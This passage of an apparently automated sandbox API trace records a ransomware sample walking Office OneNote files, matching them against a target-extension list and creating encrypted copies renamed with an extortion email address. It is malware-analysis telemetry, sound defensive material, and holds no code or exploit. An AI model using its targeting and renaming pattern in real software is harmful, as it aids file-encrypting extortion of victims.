Office\\root\\Office16\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc")) returned 0x220 [0257.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0257.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0257.750] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.750] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.751] CloseHandle (hObject=0x11d0) returned 1 [0257.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.751] lstrlenW (lpString=".doc") returned 4 [0257.751] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0257.751] lstrlenW (lpString=".docx") returned 5 [0257.751] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0257.751] lstrlenW (lpString=".pdf") returned 4 [0257.751] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0257.751] lstrlenW (lpString=".xls") returned 4 [0257.751] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0257.751] lstrlenW (lpString=".xlsx") returned 5 [0257.751] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0257.751] lstrlenW (lpString=".ppt") returned 4 [0257.751] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0257.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.751] lstrlenW (lpString=".zip") returned 4 [0257.752] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0257.752] lstrlenW (lpString=".rar") returned 4 [0257.752] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0257.752] lstrlenW (lpString=".bz2") returned 4 [0257.752] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0257.752] lstrlenW (lpString=".7z") returned 3 [0257.753] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0257.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.753] lstrlenW (lpString=".dbf") returned 4 [0257.753] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0257.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.753] lstrlenW (lpString=".1cd") returned 4 [0257.753] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0257.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.753] lstrlenW (lpString=".jpg") returned 4 [0257.753] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0257.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.753] lstrlenW (lpString=".doc") returned 4 [0257.753] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0257.753] lstrlenW (lpString=".docx") returned 5 [0257.753] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0257.753] lstrlenW (lpString=".pdf") returned 4 [0257.753] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0257.753] lstrlenW (lpString=".xls") returned 4 [0257.753] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0257.754] lstrlenW (lpString=".xlsx") returned 5 [0257.754] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0257.754] lstrlenW (lpString=".ppt") returned 4 [0257.754] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0257.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.754] lstrlenW (lpString=".zip") returned 4 [0257.754] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0257.754] lstrlenW (lpString=".rar") returned 4 [0257.754] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0257.754] lstrlenW (lpString=".bz2") returned 4 [0257.754] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0257.754] lstrlenW (lpString=".7z") returned 3 [0257.754] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0257.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.754] lstrlenW (lpString=".dbf") returned 4 [0257.754] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0257.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.754] lstrlenW (lpString=".1cd") returned 4 [0257.754] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0257.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 68 [0257.754] lstrlenW (lpString=".jpg") returned 4 [0257.755] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0257.755] lstrcmpiW (lpString1=".HXT", lpString2=".com") returned 1 [0257.755] lstrlenW (lpString="ONENOTE_COL.HXT") returned 15 [0257.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0257.756] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=207) returned 1 [0257.756] CloseHandle (hObject=0x11d0) returned 1 [0257.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt")) returned 0x220 [0257.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0257.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0257.756] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.757] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.757] CloseHandle (hObject=0x11d0) returned 1 [0257.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.757] lstrlenW (lpString=".doc") returned 4 [0257.757] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0257.757] lstrlenW (lpString=".docx") returned 5 [0257.757] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0257.757] lstrlenW (lpString=".pdf") returned 4 [0257.758] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0257.758] lstrlenW (lpString=".xls") returned 4 [0257.758] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0257.758] lstrlenW (lpString=".xlsx") returned 5 [0257.758] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0257.758] lstrlenW (lpString=".ppt") returned 4 [0257.758] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0257.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.758] lstrlenW (lpString=".zip") returned 4 [0257.758] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0257.758] lstrlenW (lpString=".rar") returned 4 [0257.758] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0257.758] lstrlenW (lpString=".bz2") returned 4 [0257.758] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0257.758] lstrlenW (lpString=".7z") returned 3 [0257.758] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0257.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.758] lstrlenW (lpString=".dbf") returned 4 [0257.758] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0257.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.758] lstrlenW (lpString=".1cd") returned 4 [0257.758] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0257.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.758] lstrlenW (lpString=".jpg") returned 4 [0257.758] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0257.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.759] lstrlenW (lpString=".doc") returned 4 [0257.759] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0257.759] lstrlenW (lpString=".docx") returned 5 [0257.759] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0257.759] lstrlenW (lpString=".pdf") returned 4 [0257.759] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0257.759] lstrlenW (lpString=".xls") returned 4 [0257.759] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0257.759] lstrlenW (lpString=".xlsx") returned 5 [0257.759] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0257.759] lstrlenW (lpString=".ppt") returned 4 [0257.759] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0257.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.759] lstrlenW (lpString=".zip") returned 4 [0257.759] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0257.759] lstrlenW (lpString=".rar") returned 4 [0257.759] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0257.760] lstrlenW (lpString=".bz2") returned 4 [0257.760] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0257.760] lstrlenW (lpString=".7z") returned 3 [0257.760] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0257.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.760] lstrlenW (lpString=".dbf") returned 4 [0257.760] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0257.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.760] lstrlenW (lpString=".1cd") returned 4 [0257.760] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0257.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 68 [0257.760] lstrlenW (lpString=".jpg") returned 4 [0257.760] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0257.760] lstrcmpiW (lpString1=".HXK", lpString2=".com") returned 1 [0257.760] lstrlenW (lpString="ONENOTE_F_COL.HXK") returned 17 [0257.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0257.761] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=114) returned 1 [0257.761] CloseHandle (hObject=0x11d0) returned 1 [0257.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk")) returned 0x220 [0257.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0257.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0257.762] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.762] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.762] CloseHandle (hObject=0x11d0) returned 1 [0257.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.762] lstrlenW (lpString=".doc") returned 4 [0257.762] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0257.762] lstrlenW (lpString=".docx") returned 5 [0257.762] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0257.762] lstrlenW (lpString=".pdf") returned 4 [0257.763] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0257.763] lstrlenW (lpString=".xls") returned 4 [0257.763] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0257.763] lstrlenW (lpString=".xlsx") returned 5 [0257.763] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0257.763] lstrlenW (lpString=".ppt") returned 4 [0257.763] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0257.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.763] lstrlenW (lpString=".zip") returned 4 [0257.763] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0257.763] lstrlenW (lpString=".rar") returned 4 [0257.763] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0257.763] lstrlenW (lpString=".bz2") returned 4 [0257.763] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0257.763] lstrlenW (lpString=".7z") returned 3 [0257.763] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0257.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.763] lstrlenW (lpString=".dbf") returned 4 [0257.763] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0257.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.763] lstrlenW (lpString=".1cd") returned 4 [0257.763] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0257.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.763] lstrlenW (lpString=".jpg") returned 4 [0257.763] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0257.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.764] lstrlenW (lpString=".doc") returned 4 [0257.764] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0257.764] lstrlenW (lpString=".docx") returned 5 [0257.764] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0257.764] lstrlenW (lpString=".pdf") returned 4 [0257.764] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0257.764] lstrlenW (lpString=".xls") returned 4 [0257.764] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0257.764] lstrlenW (lpString=".xlsx") returned 5 [0257.764] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0257.764] lstrlenW (lpString=".ppt") returned 4 [0257.764] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0257.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.764] lstrlenW (lpString=".zip") returned 4 [0257.764] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0257.764] lstrlenW (lpString=".rar") returned 4 [0257.764] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0257.764] lstrlenW (lpString=".bz2") returned 4 [0257.764] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0257.764] lstrlenW (lpString=".7z") returned 3 [0257.764] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0257.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.764] lstrlenW (lpString=".dbf") returned 4 [0257.764] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0257.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.764] lstrlenW (lpString=".1cd") returned 4 [0257.765] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0257.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 70 [0257.765] lstrlenW (lpString=".jpg") returned 4 [0257.765] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0257.765] lstrcmpiW (lpString1=".HXK", lpString2=".com") returned 1 [0257.765] lstrlenW (lpString="ONENOTE_K_COL.HXK") returned 17 [0257.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0257.766] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=113) returned 1 [0257.766] CloseHandle (hObject=0x11d0) returned 1 [0257.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk")) returned 0x220 [0257.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0257.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0257.766] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.766] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.767] CloseHandle (hObject=0x11d0) returned 1 [0257.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.767] lstrlenW (lpString=".doc") returned 4 [0257.767] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0257.767] lstrlenW (lpString=".docx") returned 5 [0257.767] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0257.767] lstrlenW (lpString=".pdf") returned 4 [0257.767] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0257.767] lstrlenW (lpString=".xls") returned 4 [0257.768] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0257.768] lstrlenW (lpString=".xlsx") returned 5 [0257.768] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0257.768] lstrlenW (lpString=".ppt") returned 4 [0257.768] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0257.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.768] lstrlenW (lpString=".zip") returned 4 [0257.768] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0257.768] lstrlenW (lpString=".rar") returned 4 [0257.768] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0257.768] lstrlenW (lpString=".bz2") returned 4 [0257.768] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0257.768] lstrlenW (lpString=".7z") returned 3 [0257.768] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0257.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.768] lstrlenW (lpString=".dbf") returned 4 [0257.768] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0257.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.768] lstrlenW (lpString=".1cd") returned 4 [0257.768] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0257.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.768] lstrlenW (lpString=".jpg") returned 4 [0257.768] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0257.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.769] lstrlenW (lpString=".doc") returned 4 [0257.769] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0257.769] lstrlenW (lpString=".docx") returned 5 [0257.769] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0257.769] lstrlenW (lpString=".pdf") returned 4 [0257.769] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0257.769] lstrlenW (lpString=".xls") returned 4 [0257.769] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0257.769] lstrlenW (lpString=".xlsx") returned 5 [0257.769] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0257.769] lstrlenW (lpString=".ppt") returned 4 [0257.769] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0257.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.769] lstrlenW (lpString=".zip") returned 4 [0257.769] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0257.769] lstrlenW (lpString=".rar") returned 4 [0257.769] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0257.769] lstrlenW (lpString=".bz2") returned 4 [0257.769] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0257.769] lstrlenW (lpString=".7z") returned 3 [0257.770] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0257.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.770] lstrlenW (lpString=".dbf") returned 4 [0257.770] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0257.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.770] lstrlenW (lpString=".1cd") returned 4 [0257.770] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0257.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 70 [0257.770] 